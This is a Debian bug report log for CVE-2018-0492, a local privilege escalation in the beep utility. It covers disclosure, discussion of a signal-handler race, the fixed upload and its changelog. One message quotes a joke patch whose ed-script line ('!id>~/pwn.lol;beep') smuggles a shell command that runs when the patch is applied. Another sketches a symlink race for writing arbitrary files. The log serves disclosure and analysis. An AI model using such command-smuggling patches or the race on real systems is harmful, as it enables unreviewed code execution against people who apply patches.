beep: CVE-2018-0492

Debian Bug report logs - #894667
beep: CVE-2018-0492

Toggle useless messages

Message #5 received at submit@bugs.debian.org (full text, mbox, reply):

From: Salvatore Bonaccorso <carnil@debian.org>

To: Debian Bug Tracking System <submit@bugs.debian.org>

Subject: beep: CVE-2018-0492

Date: Tue, 03 Apr 2018 06:40:18 +0200

Source: beep
Version: 1.3-3
Severity: grave
Tags: security upstream
Justification: user security hole
Control: fixed -1 1.3-4+deb9u1
Control: fixed -1 1.3-3+deb8u1

Hi,

The following vulnerability was published for beep:

CVE-2018-0492[0]:
local privilege escalation

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2018-0492
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0492

Regards,
Salvatore

Message #14 received at 894667@bugs.debian.org (full text, mbox, reply):

From: rain1@airmail.cc

To: 894667@bugs.debian.org

Subject: beep bug

Date: Thu, 05 Apr 2018 00:02:23 +0100

Hello.

After analysis of the diff it in unclear what exactly the race condition 
bug is and how it would constitute a privileged escalation.

Please could somebody provide an explanation of what the race condition 
is, and how it is a security issue rather than just being a regular bug. 
so we can understand why the patch fixes it.

It seems that open/closing the console_device (set with -e) was done 
repeatedly in the -n case. It's possible that the race in question would 
be triggered if a SIGINT or SIGTERM was sent at the right time (which 
time)? possibly causing a double free. As the beep program just performs 
ioctl or writes a very simple struct to an fd it does not seem there is 
enough attacker control to actually do any sort of code execution with 
beep.

So this may not really be a security issue, just a minor improvement in 
the code. I welcome being corrected though.

(Note: we have looked at the satire website about the bug 
https://holeybeep.ninja and it does not provide any technical details of 
interest)

Cheers!

Message #19 received at 894667@bugs.debian.org (full text, mbox, reply):

From: Kristian Köhntopp <kris@koehntopp.de>

To: 894667@bugs.debian.org

Subject: The patch is the exploit.

Date: Thu, 5 Apr 2018 10:33:40 +0200

The https://holeybeep.ninja/ website contains a patch https://holeybeep.ninja/beep.patch.

The patch contains a line starting with a !.

That’s the actual bug, and it’s in the patch program.

http://git.savannah.gnu.org/cgit/patch.git/tree/src/pch.c#n2383

--- /dev/null	2018-13-37 13:37:37.000000000 +0100
+++ b/beep.c	2018-13-37 13:38:38.000000000 +0100
1337a
1,112d
!id>~/pwn.lol;beep # 13-21 12:53:21.000000000 +0100
.
  -- https://holeybeep.ninja/beep.patch

patch calls ed. Ed calls sh. Arbitrary command execution through unreviewed patches.

Does git call patch or implement patch-parsing by itself?

K

-- 
Kristian Köhntopp http://google.com/+KristianKohntopp

Message #24 received at 894667@bugs.debian.org (full text, mbox, reply):

From: Anthony DeRobertis <anthony@derobert.net>

To: 894667@bugs.debian.org

Subject: Explanation of the beep vulnerability found on the 'net.

Date: Thu, 5 Apr 2018 12:40:23 -0400

An explanation of the exploit (not by me) is at
<https://news.ycombinator.com/item?id=16762794>:

    My speculation on the race condition fixed in the patch:

	The while loop in `main` calls `play_beep` multiple times. Each call
	to `play_beep` opens the `--device` and sets the global
	`console_fd`, and then sets the global `console_type` based on the
	`ioctl(EVIOCGSND)` error, before calling `do_beep`.

	This normally prevents the user from writing to arbitrary files with
	`--device`, because without the `ioctl(EVIOCGSND)` succeeding,
	`do_beep` with `BEEP_TYPE_CONSOLE` only does a (harmless?)
	`ioctl(KIOCSOUND)`, not a `write` with the `struct input_event`.
	However, the signal handler calls `do_beep` directly using the
	globals set by `play_beep`...

	So I image that with something along the lines of `beep
	--device=./symlink-to-tty ... --new ...`, you can rewrite the
	symlink to point to an arbitrary file during the first `play_beep`,
	and then race the open/ioctl in the second `play_beep` with the
	signal handler such that `do_beep` gets called with `console_fd`
	pointing to your arbitrary file, and with `console_type` still set
	to `BEEP_TYPE_EVDEV`, resulting in a `write` to your arbitrary file.

	Exploiting that for privesc would require control over the `struct
	input_event` for the `write`... `handle_signal` calls `do_beep` with
	a fixed `freq` of 0, so all of the initialized fields are set to
	fixed values... However, there's an unitialized `struct timeval` at
	the beginning of the `struct input_event`, and it's allocated on the
	stack...

	Seems like a curious security vulnerability, I'll assume the debian
	security team must have a working PoC in order to actually call it
	out as a local privesc vulnerability... I'd love to see the actual
	PoC eventually :)

Message #29 received at 894667@bugs.debian.org (full text, mbox, reply):

From: Tony Hoyle <tony@hoyle.me.uk>

To: 894667@bugs.debian.org

Subject: beep: CVE-2018-0492

Date: Thu, 5 Apr 2018 20:17:32 +0100

The patch vulnerability seems more severe to me, as people apply patches
all the time (they shouldn't do it as root, but people are people).

It's concerning that the holeybeep.ninja site exploited an unrelated
fault for 'fun' without apparently telling anyone.

Tony

Message #36 received at 894667@bugs.debian.org (full text, mbox, reply):

From: Anders Kaseorg <andersk@mit.edu>

To: Tony Hoyle <tony@hoyle.me.uk>, 894667@bugs.debian.org

Cc: "Rhonda D'Vine" <rhonda@debian.org>

Subject: Re: Bug#894667: beep: CVE-2018-0492

Date: Thu, 5 Apr 2018 16:46:05 -0400 (EDT)

On Thu, 5 Apr 2018, Tony Hoyle wrote:
> It's concerning that the holeybeep.ninja site exploited an unrelated 
> fault for 'fun' without apparently telling anyone.

To be fair, they told you exactly what was going to happen: “Apply this 
[patch] as soon as possible using the following command: patch -p1 < 
beep.diff. A short beep should be heard if all hunks are applied 
successfully.”

Anders

Message #41 received at 894667@bugs.debian.org (full text, mbox, reply):

From: Rhonda D'Vine <rhonda@deb.at>

To: Anders Kaseorg <andersk@mit.edu>,Tony Hoyle <tony@hoyle.me.uk>,894667@bugs.debian.org

Cc: Rhonda D'Vine <rhonda@debian.org>

Subject: Re: Bug#894667: beep: CVE-2018-0492

Date: Fri, 06 Apr 2018 00:18:55 +0200

 So people are falling for a fake page that is not even well disguised, apply a patch from there and now worry about being exploited?  Call me unimpressed, but what is expected to be done about that?

 Please, only get your patches through trusted sources, not from windy websites that just look shiny on the surface. I can just say well played, holeybeep people.

 Enjoy,
Rhonda

Am 5. April 2018 22:46:05 MESZ schrieb Anders Kaseorg <andersk@mit.edu>:
>On Thu, 5 Apr 2018, Tony Hoyle wrote:
>> It's concerning that the holeybeep.ninja site exploited an unrelated 
>> fault for 'fun' without apparently telling anyone.
>
>To be fair, they told you exactly what was going to happen: “Apply this
>
>[patch] as soon as possible using the following command: patch -p1 < 
>beep.diff. A short beep should be heard if all hunks are applied 
>successfully.”
>
>Anders

-- 
Diese Nachricht wurde von meinem Android-Mobiltelefon mit K-9 Mail gesendet.

Message #46 received at 894667@bugs.debian.org (full text, mbox, reply):

From: Richard Kettlewell <rjk@terraraq.uk>

To: 894667@bugs.debian.org

Cc: security@debian.org

Subject: beep, #894667 and information leakage

Date: Fri, 6 Apr 2018 15:44:51 +0100

Hi,

There's an additional issue, which is that the ability to open arbitrary
caller-chosen files represents at least an information leak, and maybe
more serious. See the comments starting at:
https://github.com/johnath/beep/issues/11#issuecomment-379215473

ttfn/rjk

Message #51 received at 894667@bugs.debian.org (full text, mbox, reply):

From: Salvatore Bonaccorso <carnil@debian.org>

To: Richard Kettlewell <rjk@terraraq.uk>, 894667@bugs.debian.org

Cc: security@debian.org

Subject: Re: Bug#894667: beep, #894667 and information leakage

Date: Sat, 7 Apr 2018 08:40:49 +0200

Hi Richard,

On Fri, Apr 06, 2018 at 03:44:51PM +0100, Richard Kettlewell wrote:
> Hi,
> 
> There's an additional issue, which is that the ability to open arbitrary
> caller-chosen files represents at least an information leak, and maybe
> more serious. See the comments starting at:
> https://github.com/johnath/beep/issues/11#issuecomment-379215473

Can you fill a new issue for this in the Debian BTS (and prefably
independly from issues/11 upstream) to keep those seprated?

Regards,
Salvatore

Message #56 received at 894667@bugs.debian.org (full text, mbox, reply):

From: Richard Kettlewell <rjk@terraraq.uk>

To: Salvatore Bonaccorso <carnil@debian.org>, 894667@bugs.debian.org

Cc: security@debian.org

Subject: Re: Bug#894667: beep, #894667 and information leakage

Date: Sat, 7 Apr 2018 09:19:58 +0100

On 2018-04-07 07:40, Salvatore Bonaccorso wrote:
> Hi Richard,
> 
> On Fri, Apr 06, 2018 at 03:44:51PM +0100, Richard Kettlewell wrote:
>> Hi,
>>
>> There's an additional issue, which is that the ability to open arbitrary
>> caller-chosen files represents at least an information leak, and maybe
>> more serious. See the comments starting at:
>> https://github.com/johnath/beep/issues/11#issuecomment-379215473
> 
> Can you fill a new issue for this in the Debian BTS (and prefably
> independly from issues/11 upstream) to keep those seprated?

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=895115

ttfn/rjk

Message #63 received at 894667@bugs.debian.org (full text, mbox, reply):

From: "Neal P. Murphy" <neal.p.murphy@alum.wpi.edu>

To: 894667@bugs.debian.org

Subject: beep bug

Date: Thu, 26 Apr 2018 14:57:58 -0400

How similar is beep to beep2? I use beep2 on Smoothwall Express. It is not installed suid root. Rather, I changed beep2's default output device to /dev/tty13 (would be just as easy to use tty63) and changed the perms on that TTY to 622. Without suid root, beep2 can only open files for input or output for which its user has access; with similar treatment, beep should be almost properly limited.

Neal

Message #68 received at 894667-close@bugs.debian.org (full text, mbox, reply):

From: Rhonda D'Vine <rhonda@debian.org>

To: 894667-close@bugs.debian.org

Subject: Bug#894667: fixed in beep 1.3-5

Date: Thu, 26 Apr 2018 20:19:45 +0000

Source: beep
Source-Version: 1.3-5

We believe that the bug you reported is fixed in the latest version of
beep, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894667@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Rhonda D'Vine <rhonda@debian.org> (supplier of updated beep package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmaster@ftp-master.debian.org)


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Format: 1.8
Date: Thu, 26 Apr 2018 18:08:11 +0200
Source: beep
Binary: beep beep-udeb
Architecture: source amd64
Version: 1.3-5
Distribution: unstable
Urgency: high
Maintainer: Rhonda D'Vine <rhonda@debian.org>
Changed-By: Rhonda D'Vine <rhonda@debian.org>
Description:
 beep       - advanced PC-speaker beeper
 beep-udeb  - advanced PC-speaker beeper - minimal package (udeb)
Closes: 630161 745163 812144 894667
Changes:
 beep (1.3-5) unstable; urgency=high
 .
   * Rewrite debian/copyright in DEP-5 format, and relicense the packaging
     under MIT to make it clear for lawyers, too.
   * CVE-2018-0492: Fix a local privilege escalation vulnerability.
     (closes: #894667)
   * Bump Standards-Version to 4.1.4.
   * Switch Architecture to linux-any (closes: #745163)
   * Fix group permission of beep (closes: #812144)
   * Add package description suggestions (closes: #630161)
Checksums-Sha1:
 9b82eb78167afbcb951064b0c05d84560b8132a3 1820 beep_1.3-5.dsc
 68026dbe830539fdaab4712b3edaaa054f64c779 20548 beep_1.3-5.debian.tar.xz
 669f0866fd91ccead12508d896bceabf280893f2 7104 beep-dbgsym_1.3-5_amd64.deb
 fa0f1d997464be37614267926ebf5a9d79f8c976 4732 beep-udeb_1.3-5_amd64.udeb
 dd0902b1207fe4b6c66c00fdcc9ce7f87fce6207 5873 beep_1.3-5_amd64.buildinfo
 aaebf22f34bd72e096f7221be80bfbd0ea44781f 26364 beep_1.3-5_amd64.deb
Checksums-Sha256:
 36626fb831f101d9cd312a18dadce9bf7bf61a1b46ea376f0b946f0804fce1c9 1820 beep_1.3-5.dsc
 7105ff192c0c76ab7653f43bd98fc085a4452fdebe3267c823cf9627a5d094b5 20548 beep_1.3-5.debian.tar.xz
 0692ce888275abbf6abba693fc0aa2f2b8faebf1fb7f14910bd1c649991db833 7104 beep-dbgsym_1.3-5_amd64.deb
 2cc1ecf3dcebe56b9e13d96dc357073386ca76f19447220e90c34fee88ad8a9e 4732 beep-udeb_1.3-5_amd64.udeb
 61ca6ed777ba8e183217c1d237a1a1911ce3289074334a9fb5866b6c639f9061 5873 beep_1.3-5_amd64.buildinfo
 dbe27befd9fd7a355130fe45d77a1cb76f57dd4219dc502035ba7a9ddde29121 26364 beep_1.3-5_amd64.deb
Files:
 be8a5ae2405c8d26057b28d86f73bd33 1820 sound optional beep_1.3-5.dsc
 d236d027849ab6050dd00843122331c6 20548 sound optional beep_1.3-5.debian.tar.xz
 44d1b198b2ac8153e642c51cc2ddc48d 7104 debug optional beep-dbgsym_1.3-5_amd64.deb
 c33902637b8addb285779a0434888aa1 4732 debian-installer optional beep-udeb_1.3-5_amd64.udeb
 81f50228d50b249562d85e3cded04f64 5873 sound optional beep_1.3-5_amd64.buildinfo
 93d90a7570ebd70c1e48abaed823025d 26364 sound optional beep_1.3-5_amd64.deb

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEELHLzKO0XByBPs0mU3ugEPuF+uzAFAlriDuAACgkQ3ugEPuF+
uzCzjg/8C303ZQzfyBZnh/dtb5eUDFvncFZ5z+6HP9WMzC7W5B3+PRXsAAXCDMTX
fFG3jnGE7Vc+yzaNzEmiX+ufhw3gUgp7lITr+nJhz9xXElFCoYjl2TDy/LutRuRF
1lZcqeQgicPtc3Oq6R8pV1psus8ol86hKJ7E8Yt4XzOYyP7N8LJKEYL8VsNCY7Na
9d6hC+FS5hxBlJbcJ9MzmgBxmEGDL0G8M09qfZtAQyrvavc+cj0cWqZ5KNgltsE+
cDl/yj46EKdidyqsWRBmsF4gHDf/qTZFoBhtGn3tj18A/ONP7YSnpgdPbJAL5Hhz
cc93H2GbAR3osap4dMLmYKrtAj2vG/OCYFr4jUsDzrjnFNJ8hvh4Cx9jr1umgEko
Sq09KnnK4r6iI++LVA2/jD8BkJPNRa0QfJXCUPqocP8HJuduJlFhgMcDXH6lrUly
x5nvUvGqKLA4MT8Nt/jLykwGNLUHu27fzeLVjw0VGz7Ni96kKSqh9O9mYWVknH0+
jk8FIhcsu54PLKfKaJjzCb66pqSfRwCw50cg4Y3mw4+6Itf1WzEr0Bu7+fEmfD4R
5rbMSh6ldiO0SiSl6V/XBu0LaImIe5ZHTQ1KDZpBhnGWCJv57+uk3fEabTS8HfJG
OcsiPKYgkQTe5t4Pa3Faa7wdr8z3tKK7uSeyL2LqdXk5IZ7bu4I=
=kBts
-----END PGP SIGNATURE-----

Send a report that this bug log contains spam.